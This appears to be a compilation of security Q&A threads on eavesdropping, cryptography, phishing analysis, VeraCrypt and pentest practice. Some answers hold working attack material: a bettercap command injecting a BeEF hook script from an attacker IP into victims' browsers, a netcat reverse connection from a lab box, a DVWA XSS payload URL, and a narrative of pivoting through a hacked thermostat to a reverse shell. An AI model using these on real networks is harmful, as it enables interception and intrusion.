Understanding the behaviour of existing eavesdropping techniques I am studying the behaviour of existing eavesdropping techniques (part of my research). I have a question through the following scenario:

Suppose Bob lives in New York and wants to listen (i.e. capture) network traffic in a certain network located at Los Angles. Suppose Bob knows that the network address in LA is 192.168.1.0/16. How does Bob inject himself inside that network to capture the traffic (using Wireshark for instance)? In other words, what is the way that is mostly used to become a passive intruder in another network so you can eavesdrop whatever you want?

I appreciate your collaboration in this question and hope everyone learns from your experiences.

There is no legitimate way for an unauthorized eavesdropper to access those specific packets.  So let's break it down:

Make it legitimate. Eve* could ask Alice or Bob for those packets.
Authorize it.  Eve could be a law enforcement officer, and request the network provider to deliver copies of those packets.
Be less specific.  If Eve is a thief who just wants to steal from anyone, there's no reason she has to hack a network in L.A.; she could hack one closer to home where she has physical access.

If Eve is prepared to engage in criminal activity, she would then have to hack into Alice and Bob's network, and gain access to one of the devices on one of the subnets carrying their traffic.  Your specific example of 192.168.1.0/16 may be a problem for her, as that is a non-routable address range, commonly managed by home routers behind a NATting firewall (in other words, 192.168.. is not a unique address, it's shared by millions of home networks.)  But she can find their network through some other means.  One way is via an email embedded with an HTML image, which has to "phone home" to retrieve the image when the message is read.  That will give her the routable ("outside") address of her firewall.

How she hacks into their network is as broad a question as "how to hack?" and can't really be answered.  But let's say she gains access into the network by portscanning their firewall, and finding a hole opened by some irresponsible home automation device that uses UPnP.  Let's say she gained access via an insecure thermostat's web interface.

If sniffing network packets is her ultimate goal, she'll need to access a machine capable of running packet capture software.  This may require using a machine more capable than the thermostat she hacked into.  So she may need to 'pivot' to another machine inside the victim's network to gain access to a PC.  Once the thermostat is acting as a relay, she searches the network looking for other machines, and finds an unpatched PC.  She takes it over, and from the victim PC, she establishes a 'reverse shell' back to her computer, giving her command access to it.  On this remote PC, she'll install a packet capture program like tshark, and run it for a while.  This will produce a capture file without the graphical interface.  After capturing packets, she'll copy the packet trace file back to her computer and run a tool like Wireshark to view and analyze the contents.

* The set of placeholder names often used in cryptographic protocol analysis includes Alice and Bob, who want to communicate with each other; Eve, a passive attacker who can eavesdrop but cannot tamper with their communications; and Mallory, an active attacker who can both listen to and tamper with their communications.  You may find it useful to understand and use these common names.


Is there a maximum allowed key size in the USA? I've heard that using encryption outside military use has been illegal for a long time in the USA.
However, I've also heard that when the regulation was updated, limits were put on encryption strength (such as key size by common algorithms such as AES).

Is this last statement true?

Roughly speaking, no, the last statement is not true.

See this site for extended information about laws on cryptography in the USA (the same site contains a lot of information for crypto laws in other countries as well).

AES accepts three sizes of keys: 128, 192 and 256 bits. The smallest of the three is already way beyond that which can be broken through brute force (see this answer) so if the USA are "putting limits on encryption strength" then they are not making a good job of it. In fact, AES has three different key sizes mostly for compliance with inflexible (and old) US military regulations which call for three different "security levels". That kind of regulations made sense in the pre-computer era, when you had to choose between security and efficiency (there was no known cryptographic algorithm at that time, which would be both secure and sufficiently practical for generalized field usage). Since none of these regulations states that the "low level" has to actually be weak, NIST went for three key sizes, the smaller being already large enough to defeat Earth-based attackers.

Generally speaking, US laws are mostly about export, not domestic usage. There used to be a ban on large key lengths (and that one enforced key lengths small enough to be practically broken). Things have changed, though; the current state of US laws is that they don't depend much on key length. This relates to the growing realization from the US lawmakers that trying to enforce a ban on strong crypto is unlikely to work; having a system which keeps track of existing products is a better idea, and making all these products "legal" can only help.


Injecting script from outside for local machine url request I have setup a local apache server with php module.I deployed a dvwa in my localmachinne..I am learning about XSS(DOM) type of attack.I setup the low level security in dvwa.When i added <script>alert()</script>
in the url i got an alert

http://localhost/dvwa/vulnerabilities/xss_d/?default=English<script>alert()</script>

.But that was done through the browser.Is there any way i can inject alert() in an url request that is done form the browser as
url=

http://localhost/dvwa/vulnerabilities/xss_d/?default=English.

What i mean is when i request the url  http://localhost/dvwa/vulnerabilities/xss_d/?default=English i need to append alert() from an external side.Is there some tools available for that.What tools or programs or methods i can use to inject script from external place to make script tags append to the url.I mean something like a man in the middle attack.I want to practise this in my local machine.I googled but i couldnt find an answer.

You can intercept the request through a proxy and then inject the alert() into it.
To do that you would need, Burp Suite.


Is it safe to buy a router if its serial number and other details are exposed on the web? I'm looking to buy a WiFi router on ebay, but the seller put a picture on the site of the router's backside, exposing information such as

Serial number
Part number
MAC address
Default password and PIN

I plan to wipe the original firmware and replace it with DD-WRT.

Could the above information still be used to compromise my network?

Yes this is safe.

Default password and PIN are irrelevant if you change them (or replace the firmware.)
Serial number is irrelevant anyway.
Part number is irrelevant anyway.

Which leaves the MAC address. With some routers this is used to compute a default password, but once you change this I don't believe there is any risk.

The biggest risk of any router is the potential presence of backdoors that the manufacturer firmware may contain, but given that you are replacing it with DD-WRT that does not matter.


Beef+ bettercap injection failure? I am trying to inject beef's hook.js in browser on another pc on my local network.

After starting beef and login to the UI I started bettercap in terminal and executed the following command:

sudo bettercap --proxy-module injectjs --js-url "http://192.168.43.141:3000/hook.js"

After that I'm getting results from bettercap about browsing on the targeted pc but beef doesn't show anything in the user panel (no hooked browsers) ....any idea?

Update from comment:

So I've installed newer version of bettercap and it's all the same...I can sniff the traffic from the IP but I can't hook with beef....I'm open to other suggestions instead of beef and bettercap as well....

It should work if you have already done the MitM (Man in the middle) or if you are doing ARP spoofing. I think because of your comments that you already have it done because you are watching victim's packages. The nomenclature you are using for BeEF injection is ok if your attacking pc has the right ip 192.168.43.141 and your BeEF is up and running and is accessible by the victim.

Based on your command line I see that you are using Bettercap 1.x . Bettercap 2.x is quite different and configuration is very different than this. Anyway, Bettercap 1.x works like a charm (better than 2.x in my opinion).

In order to "hook" the victim, the victim should surf through some web pages. This is not perfect, sometimes the victim is hooked and other times it is not for unknown reason. BeEF is a experimental stuff, but it works the most of the times. Be patient and try again.


Can the xor of two RNG outputs ever be less secure than one of them? Suppose I'm suspicious that one or more (pseudo)-random number generators is cryptographically flawed, perhaps even deliberately backdoored.  The RNGs in this case might be either PRNG algorithms, hardware random number generators, or some OS-provided primitive whose source might be either of these.

Can it ever be a bad thing to "salt" the RNG by using the xor of its output and some other RNG's output?  The latter RNG might be of much lower quality but be unlikely to have been compromised by the same attacker -- for example, your hardware manufacturer might have compromised your hardware RNG but it's unlikely they've also steered a standards committee towards something like DUAL_EC_DRBG or bribed your OS provider into sneaking a bug into the cryptographic primitives.

Given the ongoing revalations about tampering with cryptographic standards committees, it seems like it would be prudent to start using the xor of multiple sources of randomness where at least one is "high quality" and at least one of the others has a very low "attack correlation" with it.

There are details.

It rather hinges on the notion of how different, or, more adequately said, unrelated, your two RNG are. Let's see it with cryptographic eyes.

"Breaking" a RNG means observing n bits of output and then predicting the n+1 bit with a success probability substantially better than 1/2. A cryptographically secure RNG will in practice be a cryptographically secure PRNG which deterministically extends an internal state into as many bits as requested. We assume that the attacker knows the code (if only through reverse-engineering, or through paying beers to the guy who did the development); so a RNG output is exactly as unknown as the internal state of the RNG. The generic attack is exhaustive force on the state value, and this will be way too expensive if the space of possible state values is huge (e.g. more than 128 bits). The PRNG is cryptographically secure if the best known attack is the generic attack and that attack is indeed infeasible.

The formal setup is that the attacker is given the n bits of RNG output (let's call it r1), and challenged with predicting the n+1 bit. Suppose now that the "XOR of two RNG" turns out to be weak, meaning that given r1 XOR r2 (an n-bit sequence), the attacker can compute the n+1 bit of that sequence with probability higher than 1/2. Then the attacker just has... to produce r2 himself ! He builds the second RNG and runs it, with an output r2 that he perfectly knows, and XORs r2 with the given r1. He then applies the "attack on XOR" on the XOR result, and this yields the n+1 bit of r1 XOR r2. But the attacker knows the n+1 bit of r2 with 100% reliability (he generated it himself), so he can compute the n+1 bit of r1.

This argument shows that the XOR of two RNG cannot be weaker than either RNG alone... provided that the formal setup above is a correct description of the reality.

Indeed, the implicit assumption here is that the two RNG are sufficiently unrelated to each other that a formal attacker can, from the outside, build a proper emulation of the second RNG without knowing anything about the first. This is not a given. In practice, on a given machine, each good RNG will compute the initial value of its internal state from measures on "hardware events" (e.g. times of occurrences of hardware interrupts, with clock cycle accuracy); and both RNG run on the same hardware at the same time, so they see the same events... This implies that the formal description above does not match practical situations, and this invalidates the mathematical argument.

A contrived example will highlight my point. Suppose that RNG1 takes an initial seed S and uses it as key for AES in CTR mode (encryption with AES of successive values of a counter, starting with 0). This is a good, strong RNG, that cryptographers would not shun. Now define RNG2 also as AES in CTR mode, but such that each output bit is reversed (a bit of value 0 becomes a 1, and vice versa). Seed RNG2 with the same S. Taken alone, RNG2 is easily shown to be as cryptographically strong as RNG1. Cryptographers would readily bet a pint of Guinness on its strength. However, suppose that you XOR the outputs of RNG1 and RNG2 together; you then get... a long sequence of 1's, not a single 0. And that's very weak, because the n+1 bit can then be predicted to be a 1 with 100% reliability.

Yet RNG1 and RNG2 are, without any doubt, "different". They don't produce the same sequence of bits. This shows that "different output" is not the good notion here. What we want is unrelated RNG which is formalized as: an attacker can build an emulation of the second RNG without knowing anything about the internal state of the first. If both RNG are seeded from the same hardware, then the two RNG cannot be blindly assumed to be "unrelated".

Conclusion: the XOR of two RNG which run on the same hardware may, in practice, be weaker than either RNG alone. Whether the XOR is strong hinges on "how well" the cryptographic entrails of the PRNG can hide a common seeding. On the other hand, if you can arrange for unrelated seeding (you seed RNG1 with a seed S1, and then RNG2 with another seed S2, and you have good reasons to believe that S2 is unrelated to S1), then, in that case, the XOR of the two RNG cannot be weaker than either RNG alone.

I suggest that you do not indulge in such games. XORing two RNG together will give you some guarantee of security only if you know enough on how they are seeded that you could ascertain whether either is strong alone. If you know that one RNG is strong, then just use it. And if both RNG are weak, it is quite possible that the XOR of the two will be just as weak. The only sure thing about XORing two RNG together is that it increases computational cost and, more importantly, complexity. Complexity is bad for security.


Is it insecure to use an IV based on the key? If I feed AES an IV generated by MD5 using the key, will it cause a security risk? I understand that MD5 can be cracked in a sadly short amount of time, but will that effect the integrity of the cipher? The only weakness I see is that the hash can be used to find the key; but isn't it basically impossible to find the IV of a cipher using just the ciphertext?

In short, yes. Using an initialization vector derived from the key is a security risk no matter what hashing algorithm you use. You should always use a cryptographically secure random number generator to create IV's.

A big problem with deriving an IV using a hashing algorithm is that the hash will always be the same for any given key.

An IV must never be used multiple times with same key. The point of an IV is to provide uniqueness to a message and prevent it from being encrypted into the same cyphertext multiple times. Here is a post which gives a nice example of how an attacker could take advantage of this.

IV's are sent along side the encrypted message in the clear. This is fine, because they are not supposed to be a secret. The receiver needs the IV to properly decrypt the message. Sending the hashed key as the IV means that anyone who receives your message will see the hashed key. It is thus very possible for an attacker to discover the key via a rainbow table or even brute force.


Fake PayPal email with (presumably) malicious JS code I'm asking this question out of curiosity; I haven't fallen victim to this, I'm just interested in what it does.
Today I have received an email from the "Paypal Security Team":

Dear Client,
After closely monitoring a number of unusual activities from your
account, we decided to limit the access in the account.
Before we can restore your account back to normal, we need to get some
information from you.
Please download and open the attachment file from this email.
Furthermore, we ask that you complete the form that we have provided.
After doing so, we are then going to review your information and take
the necessary steps to remove the limitations. Please understand that
Account Limitations are applied to help keep you protected.
We apologize for the inconvenience.
Sincerely, PayPal

Here are the headers, with the IP of my email server removed because it's actually my own, private server:
From - Sun Sep 25 18:09:24 2016
X-Account-Key: account1
X-UIDL: 1:2267
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <security@payee.net>
Received: from 210.115.225.25 (210.115.225.25) (HELO hallym.ac.kr)
 by <myserver> (<myserverip>) with SMTP
 id c2fb6dfb1b98664f; Sun, 25 Sep 2016 17:59:59 +0200
Received: from 96.53.84.19([189.149.72.109]) by hallym.ac.kr with SMTP id 160926005835170B; Mon, 26 Sep 2016 00:58:35 +0900
From: PayPal Security Team <security@payee.net>
Subject: Suspicious activity
MIME-Version: 1.0
Message-ID: <a2d72d51afcac93ad3eb3ce242155f4bsecurity@payee.net>
Content-Type: multipart/mixed; boundary="9bc43cfe03082750b916b2a227e24d86"

The message had a single attachment, an HTML file - this is the "form" mentioned in the message. In actuality, it's some sort of obfuscated JS code; I'm quite curious to find out what it does. It's available here; sorry that I link to an external source, but this is quite long. Presumably the user was supposed to open the file in their browser, which would execute the JS code and do something nasty.
I've tried to report this issue to PayPal, but "the page wasn't found".
What's slightly alarming about this is that I do possess a PayPal account, and that it is registered to the email address this message was sent to.
The interesting thing about the domain is that it seems to be very old:

Updated Date: 07-oct-2015
Creation Date: 01-dec-2003
Expiration Date: 01-dec-2016

I've checked a few whois databases, with similar results.

What does this do?
Is this a new attack?
How can I report this to PayPal?
How come this was sent to an email address that's actually bundled to a PayPal account? Has there been a leak of some sort? Is this a coincidence?

What does this do?

You can easily discover what something like this does by using one of the "deobfuscation" web tools such as www.deobfuscatejavascript.com

Of the several I tried, that was the best because it gave me an actual result. The code takes the very long string - and runs it through the 2 functions which decode it into a new web page. Paste the whole thing into the site listed and you will see the HTML that it produces.

Incidentally, you can do this for yourself too if you are careful by running all but the final line in Node.JS.

It is hard to see what the resulting page actually does, it appears to be trying to look like a genuine Paypal page. I'd need to spend longer looking at it to work it out. I think it safe to assume though that it is nothing good.

You could always try running it in a throw-away VM if you like to find out what it does.
Is this a new attack?

Who knows! And who really cares. These kind of things change a thousand times a day often with small variations to throw off the scent of the anti-virus bloodhounds.
How can I report this to PayPal?

You should find a reporting link on the PayPal site but if that isn't working, I recommend a direct message on Twitter.
How come this was sent to an email address that's actually bundled to a PayPal account? Has there been a leak of some sort? Is this a coincidence?

Coincidence most likely. PayPal certainly had some issues with leaked email addresses some years ago at the start but nothing since as far as I am aware.

If you want to avoid this kind of thing or at least make any issues more obvious, choose an email provider that allows either unlimited mail addresses via a catch-all (less common these days due to spam volumes) or allows you to add a modifier to the address.

For example if your email address is "myself@gmail.com", it would allow (and gmail does indeed allow) "myself+somethingrandom@gmail.com" with the "+" sign separating your actual address from the modifier.

Then every time you sign up for something, use a different modifier, you will still see all your email in one place but you will quickly see if one of your addresses has been compromised and can then filter it out.


How long should a hash be to be absolutely secure? Is there some sort of rule to determine how large a hash should be to ensure the security (meaning exactly one message maps to a given hash) of a message?  Something that can be applied to any message, such as a 32-bit number or an 8-letter ASCII password.

exactly one message maps to a given hash

This is not possible due to the pigeonhole principle. As long as the input message to the hash function can be larger than the hash itself, it is guaranteed that some messages collide with each other and map to the same hash. This is normal and is not a problem for the security of hashes by itself.

You only need to ensure that the hash function is so large that intentionally finding such collisions (a collision attack) is computationally infeasible. A hash digest of n bits has a collision resistance of n / 2 bits. To achieve 128-bit security against a collision attack, it's thus necessary to have a hash digest of 256 bits. This is, of course, assuming the hash is cryptographically secure (like SHA-256) in order to avoid there being attacks that take a shortcut and can find collisions more easily than by brute force.


Can OpenSSL verify a public key - intermediate CA certificate chain with a Root CA certificate? I tried to run the following shell command:

openssl verify -CAfile rootcert.pem publickey_imcert_chain.pem

where publickey_imcert_chain.cert is a chain of:

servercert.pem (public key signed by imcert.pem)
imcert.pem (intermediate certificate signed by rootcert.pem)

I put them together using:

cat publickey.pem imcert.pem > publickey_imcert_chain.pem

rootcert.pem is the self signed root CA certificate

Now I get the reply message:

  error 20 at 0 depth lookup:unable to get local issuer certificate

And now my questions:

Can OpenSSL verify a Public Key intermediate CA certificate chain with a root CA certificate?
And is this even a legitimate constellation of certificates, if I put the first an the second certificate in a chain?
Error 20 at 0 depth means OpenSSL cannot find the certificate that signed the first Certificate, right?
But which would be the first certificate here? Would this be my public key or would it be the chain of the public key and the IM cert?

First, the syntax is wrong. It should be:

openssl verify -CAfile rootcert.pem publickey_imcert_chain.pem

CAfile is rootcert.pem...

Next that's definitely not the way openssl verify works. You must concatenate all intermediate signing certificates up to the root one in a bundle and use that bundle to verify the servercert.pem one:

cat imcert.pem rootcert.pem > verificator.bundle
openssl verify -CAfile verificator.bundle servercert.pem

You will find more references and examples in that SO question.


Web application penetration testing methodology I'm following a course where the trainer recommends to identify all the vulnerabilities affecting a web application before trying to exploit them.
While I understand the need to identify all the vulnerabilities, I don't understand why I should wait before trying to exploit a vulnerability I just found (like a sql injection, a command injection, remote file inclusion, ...) and come back to it later?

Is there any reason to proceed like that?

There's a chance that the result of exploiting a vulnerability early in the test could change the application. Either crashing it or just breaking certain functionality. Thus making the need to scan for additional vulnerabilities moot.

Another reason for thoroughly identifying vulnerabilities is to give the person performing the test a full understanding of the application. Perhaps that first vulnerability could be exploited even further with information gained in the later stages of the vulnerability assessment.


firewalking output rules Scenario is as follows:

In a vulnhub lab, I got limited shell. By means of

attacker> nc -lvp 1234

victim> nc _attacker_ip 1234

I found out that ubuntu's ufw is limiting outgoing traffic.

Since I'm no root, I can't list ufw rules. Is there any software that can detect outgoing rules? I guess it wouldn't be that hard to set a server on the attacker machine to listen in ALL ports, and a client in the victim machine that would "tcp-ping" every port, so it can detect outgoing rules.

Is there any similar software out there? If not, I would maybe roll my own.

A generic way to test available outbound ports, independent of the location of the port filter (e.g. local host-based firewall, perimeter firewall), is exactly what you proposed - trying to connect to an external system, that is listening on all available ports.

You do not have to re-invent a mechanism for the target system of the connection attempts, because such a system is readily available: PortQuiz

If you do already have limited shell access, you can write a short bash-script (or whatever scripting language you have available), that tries to connect to PortQuiz and outputs all successful attempts.

You can also try more complex approaches like DNS tunneling to setup your communication channel, but I wouldn't consider this in scope of your question.


Counter measures against traffic sniffing inside a LAN Here's the problematic I'm stuck with, in the next months I'm going to move in, in a little house in France. For the network connectivity the house owner decides to buy a single internet connection.
So basically the ISP box is shared with 2 others people but is in my house, so if I decide to unplug it, I cut the connection for the others but anyway.

The first thing that comes to mind was that if I can sniff over the network the other can too, I solved the problem for other possible attacks like ARP cache poisoning etc...

So I come with an idea, but I'm not sure about it that's why I post here.

Here, a basic network diagram (PC 1 and PC 2 have only WIFI access since the box is in my house)

Let's see the second diagram :

This is the solution I come with, except if I managed to detect that one PC is in promiscuous mode (with nmap per example), I cannot really prevent the traffic sniffing inside my network.

Theoretically according to the second diagram, my PC sent unencrypted data to the router, the router encrypt them with IPSec or with OpenVPN tunnel then route them to my ISP Box, so if PC 1 or PC 2 sniff on the ISP Box they cannot read the datas since they are encrypted through the router, is that correct ?

Feel free to share with me other solution that could do the thing and correct my English :)

Instead of setting up a VPN endpoint on your router, why not set up on somewhere in the internet? Get a cheapo Virtual Machine somewhere, and use that to run something that comes more or less ready-to-use with a VPN endpoint.

But: I'd argue (and that is very rarely the case) that if your router is correctly set up, you don't even have a problem:

Packets coming from your PC go to your router through a cable, and packets for your PC go through that same cable, in the other direction, if I understand your system correctly. The router has no reason to send any of the IP packets meant for you to the Wifi, and thus, the others don't even get to see those packets.

If you're sharing a Wifi with them (ie. your PC is connecting using wifi, like PC1 and PC2), and you've got WPA enterprise, then you get a secure session- and machine-specific encryption key, and the packets sniffed off the air will not be decryptable by the other members of your Wifi. (This doesn't apply to WEP, which is absolutely obsolete, anyway, and not really to WPA-PSK, for which it's possible for any authorized user of your Wifi to derive your secret wifi transmission key by observing a couple of your packets)


What are best practices for secure admin access management to critical 3rd party cloud application in big companies? I've always wondered how can we manage admin access to critical 3rd party resources (social media, SaaS CRM, etc) in big companies to mitigate:

The administrator might leave the company without notice (I guess
multiple admins is a solution here)
An ill minded / corrupted administrator

And how is it done in real life in big companies ? For instance, how is it done in practice with the company Twitter account (or with any other important resource) ?

Unfortunately, what is commonly done is simply to share account credentials.

When possible, it is advised to have a super admin account with a manager who is not responsible for using the service directly (separation of duties) so that the active admins can come and go while management of the admins is done through a separate account. When not possible, a separate manager has a sibling admin account.

There is a new approach that is just taking off, and that is using OAuth, SSO, or similar, so that the admin accounts can be managed just like the normal company authentication directory (like AD, for instance). On top of that, there is a new class of service called the Cloud Access Security Broker (CASB) that adds this type of access layer on top of the company's cloud services. CASBs can add granular control over cloud services, including DLP, filtering, tokenization, account management, etc.


Risk around "Allow log on locally" for Domain Service Accounts My organisation mandated that Windows Domain Service accounts internally should not have the "Allow log on locally" permission, and essentially be non-interactive.

What exactly is the potential risk for enabling this policy for a service account? Microsoft documentation here states that "unauthorized users could download and run malicious software to elevate their privileges", I'm not sure if I understand how this is applicable.

Can someone please elaborate on the potential attack paths if this is enabled for both an internal and external facing application?

It is difficult to give specifics of attack paths with the limited information you have provided, however The documentation you cite states:

Vulnerability
Any account with the Allow log on locally user right can log on to the console of the device. If you do not restrict this user right to legitimate users who must log on to the console of the computer, unauthorized users could download and run malicious software to elevate their privileges.

Applications are usually run using a Service account, as you pointed out in your question. These accounts usually have very restricted privileges that enable them to run the application and that is it. By enabling this feature, these accounts would be able to run an interactive shell (i.e. the Command Prompt). Using the command prompt, as stated, can allow a user to download and run malicious software.
There are a multitude of ways that a malicious actor can get a shell using an application, so without any specifics (other then you have a Windows Environment), it would be hard to comment on attack vectors.
One example could be: if the application in question has an upload feature, that then hosts the document on the web-server, an attacker could upload a malicious aspx page that gives them a shell (see example here). Then using this shell they could download and install malware, if the "Allow log on locally" permission is granted to that service account.


How can I safely use an old Android tablet? I own a Pixel C tablet, which currently has Android 8.1 installed. The Pixel C has officially been discontinued at the end of 2017, and received its last security update 2019. I would like to keep using it, since I only use it to watch YouTube videos and occasionally play some games.
However, the fact that it no longer receives any security updates worries me, and I'm not sure how I can keep using it safely. Just replacing it is not an option, since the new tablet would also become obsolete in the next 2-3 years and I find it to be extremely wasteful to throw away perfectly good hardware due to a software issue.
Here are things I have considered so far:

Installing a custom OS - There are a handful of Android versions designed to support older devices, such as Resurrection Remix and LineageOS. However, both RR and LineageOS have discontinued support for the Pixel C, and installing some "unofficial" version by "some guy" is...not a prospect I am too happy about.
Just not doing anything - Since the tablet would only be reachable through my local network and would only have the same handful of apps installed, attack surface should be relatively small. While it is definitely not ideal, it should not pose a huge risk either.

Is there any other way, that I have not yet considered?

You have to make trade-offs between usability and security. There are two types of android security patch level. The patch level 01 contains patches to the android framework and patch level 05 contains vendor patches for the Linux kernel, drivers and firmwares.
While custom ROMs deliver 01 patch level, 05 patch level can be only delivered by OEMs. Your device becomes vulnerable to unpatched vulnerabilities that have been discovered since your device was last updated. If your threat model is minimal and you are only using your device for general purpose, it is still safe to use it as long as you are not installing apps from unknown sources. That's because using only Play Store to install apps significantly decreases your attack vector.
Google removes apps with known malware samples at submission time alone. Some unpopular apps manage to evade detection for months and some innocent apps are later updated to become malicious. See, Barcode Scanner app on Google Play infects 10 million users with one update. If you are using reputed apps, it is unlikely you will ever witness such malicious apps that you can't remove. Although, it's still a possibility but this is where you have to make a trade off. Most of the malicious apps that were found on Play Store were malvertisers that were violating Google ads policies and not exploiting any vulnerability.
Besides, Google Play Protect runs a safety check on apps from the Google Play Store before you download them. It checks your device for potentially harmful apps from other sources as well. It also warns you about any detected potentially harmful apps found, and removes known harmful apps from your device. So you still have some anti-virus like protection even if you are not getting security updates.
In 2020, Over 400 code flaws unearthed in Qualcomm’s DSP chips for smartphones | DEFCON. This can definitely compromise your device upto root. No exploit has been seen in the wild exploiting DSP. Critical vulnerabilities in Bluetooth & Wifi firmware and driver are often discovered. Even with custom ROM security updates, they can't be fixed. This is another trade off you have to make.
Unlocked bootloader cannot protect you against physical access to the device. Root access has no impact on device security, you just have to be more responsible about the apps you grant root access to. When using custom ROM, you have to be precautious about whether SELinux is enforcing or permissive. Permissive doesn't block process for violating SELinux policies, only reports them. There is already an exploit to gain root in SELinux permissive mode | Explanation.
Your device is not officially Treble supported but it has custom support of Treble with custom Generic System Image (GSI). You should use that. GSI gets permanent updates but you won't be getting vendor patches.


Why do major sites (eBay, Github) not ask for a password when I attempt to change email addresses? When users change their email addresses within a web application's user account, I see the following problem:

An attacker (who has access to your session) could change your email address to a new one (the attacker's one), logout and request a "forgot my password" reset. From that point, he owns the account.

To my surprise, even major sites (from eBay to Github) allow to change the email adress without asking for passwords etc... In my understanding, this makes account takeovers via internet cafe/university/shared computers extremely easy. And I think that the guys behind eBay and Github (for example) know what they do.

Why do those sites allow email change requests without asking for a password ?

Actually, github will ask you for a password when you attempt to change your email address. However, it does not ask if you are already in sudo mode.


Is there practical risk to having UDP ports open? I understand that everything is potentially an attack vector, but I would like to ask a practical question about UDP ports

Suppose you're pentesting some small organisation and you found a couple of open UDP ports. Some of them appear to be constantly open. On the first thought, perhaps the ports should be closed, sure.

But I look up the exploits, and it appears that whatever the exploits there are around target everything based on TCP. Furthermore, the networking knowledge suggests that UDP ports are required to be open for basic tasks such as web-browsing...

Am I wrong? Practically, do the UDP ports need to be taken seriously, or is it OK for them to be left open?

UDP ports are required to be open for basic tasks such as web-browsing...

There is no need to have an open UDP port for web browsing. E.g. my home computer is behind a firewall which blocks all 65,535 UDP ports, and everything is fully functional, including the web browser. UDP is indeed necessary for web browsing, as DNS is typically done over that protocol, but that does not require opening ports, just support for sending and receiving the datagrams over the network

  whatever the exploits there are around target everything based on TCP.

This is just because most services use TCP, not because TCP is inherently more or less secure.

  Practically, do the UDP ports need to be taken seriously, or is it OK for them to be left open?

It depends entirely on what service is using them. Without knowing that, there's no way to tell if the ports should be closed (denying access to the service over UDP from the outside), or can be left open. Verify that the services are necessary. If any of them are unnecessary, close their ports, whether UDP or TCP.


Are injection vulnerabilities a design or an implementation flaw? Are injection vulnerabilities mainly a design or an implementation problem? I'm using SQL injection as an example; I'm interested in other injection vulnerabilities as well.

I believe that it is the direct consequence of lazy programming, i.e.

lack of input sanitization
lack of parameterization (not using APIs and instead building SQL commands directly in code using strings)

Some people say it is mainly a design flaw but I cannot figure out why.

This can be both, but the main responsibility for such problems is design.

Independent on design, if developer is not forced to create a code that is vulnerable to SQL injection, but still creates it, it is an implementation problem. It means, developer either does not understand the problem, or understand but doesn't want to create a code that is resistant to it.

If there is a design decision to use native SQL or HQL or JPQL or similar instead of prepared statement (in Java), or some DSL or similar technique, such decision makes it easy to get SQL injection problems in the code. Resistance to SQL injection is not a primary goal of prepared statements, bu rather a positive side effect. Nevertheless, a design decision to allow native SQL means a design problem.

If there is no explicit design decision regarding native SQL, then developers have no explicit guideline regarding implementation of data access layer and, if they are not experienced enough, do easily such mistakes and create code vulnerable to SQL injection. Means, no decision about plain SQL is again bad design because it does not address such important aspect.


Bruteforce Veracrypt I forgot my Veracrypt password, I have around 1000-2000 possible password combination and I need a software to bruteforce the password on Windows.
What software would that be?

You don't mention how quickly you need this done.

If time is not a concern and you only have a limited pool of possible passwords, you could easily script the mount operation to try every possible password inline and look for a success message. No guarantees this works, but something like:

veracrypt /v your_volume_name_here.tc /l x /a /p MyP@$$w0rd! /e /b

Loop this and rotate the password on each attempt. Stop when the mount was successful, and for god's sake make sure you log the found password somewhere so you don't have to do it all over again (bitter experience).

I've done this successfully with a GELI-encrypted drive (twice); it took a few days to complete each time, but I also had a smaller pool of candidates to work with than you do.


dangers of using WAMPServer on my home PC? Hello there I have been working on (learning) web development and have gone down the route of self hosting at the moment. I have a website which I've made, it doesnt have any user interface for input, but it does have a database which holds articles by genre etc.

I don't want to publicly post the url here for it as I fear perhaps people might see it as an easy target but I was just hoping that maybe an experienced user of the site would take a look at it for me if I pm'd them.

It's on my home PC, I use it via a router with some ports forwarded. The website loads fine etc. I have 3 disks on PC and the webserver is WAMPserver and is on the 3rd disk drive.

If not, is there anything I should watch out for in the small amount of php code I've written . thanks

Port forwarding to your PC is almost always a bad idea. Also to run a webserver on the machine. If configured wrongly, which could well be the case, it could leak out a lot of personal information to the internet, in your case mainly to automated port scanners/attackers. Not to even begin with the problems of exposing a windows machine to the public internet (even if it's for single ports). If I were you I would either not forward a port and set up a local name for the server under which I could reach it, or at least set up the webserver on a different machine on the same LAN and port forward that - but not under windows, on linux or bsd. You could also use some cheap VPS and set up SSL certificates for a test domain to encrypt your traffic over the public net.

And don't trust random people wanting to look at your webserver, they could just as well look for easy targets.

TLDR: Close the ports! Think again if this is really what you want to do.
Consider more secure and more "state of the art" options than self-hosting
a public test site on your own PC.


Changing VeraCrypt password during encryption I understand that password in VeraCrypt is used to protect master key, not the data directly. So is it possible and completely safe to change password during first whole drive encryption? I want to start the process with my own password, create rescue disk and then give out system to the end user as soon as possible, with password diffrent from initial.

You cannot change the password during in-place data encryption or while the volume is being created. That is, when you are creating a new volume and the system is taking its time writing to the disk, you will not be able to change the password or any other aspects of encryption. You will be able to change the password only after it has finished. If this is what you want to do, then your plan is feasible.


Replay Safe Mutual Authentication (libsodium) I am working on an end-to-end encrypted messaging application as an educational activity with some of my extra time. I have chosen to use libsodium for the underlying crypto. I have run into a hang-up with how to properly implement replay safe mutual authentication between Alice and Bob.

Assume Alice and Bob know each others public keys in advance. My current (rudimentary) implementation has Alice and Bob construct a public crypto box via nacl.public.Box (implementation of Curve25519 + Poly1305) and use this for the initial exchange in the protocol.

The following communications are all via nacl's crypto-box public key encryption/MAC (with random nonces):

Alice --> Bob: Hello
Bob: Decrypts Hello message and checks message authentication code to ensure it came from Alice
Bob --> Alice: Hello
Alice: Decrypts Hello message and checks message authentication code to ensure it came from Bob
Alice <--> Bob: Agree on a symmetric key to use for the rest of this communication (they can recompute this periodically for forward secrecy)

The crypto box implementation uses random nonces by default, which I understand can theoretically be used to prevent replay attacks. However, this is where my confusion lies. Does Bob need to record every nonce that Alice has ever used to ensure that Eve does not replay an Alice "Hello" to convince Bob she is Alice? Could this limitation be overcome by having Alice and Bob each communicate with a random salutation message instead of "Hello" that they expect the other party to repeat back to them? Is there a standardized way to do this kind of thing that I am missing (I have looked around without success)?

Does Bob need to record every nonce (...)?

No.

You're right that a nonce must not be used twice. However, bookkeeping nonces is not the way to go. The usual approach is to include a timestamp in its value and/or to generate random nonces with enough random bits. This doesn't garantuee double use but makes it highly unlikely.

May I recommend crypto.SE for questions regarding the implementation of cryptographic protocols?


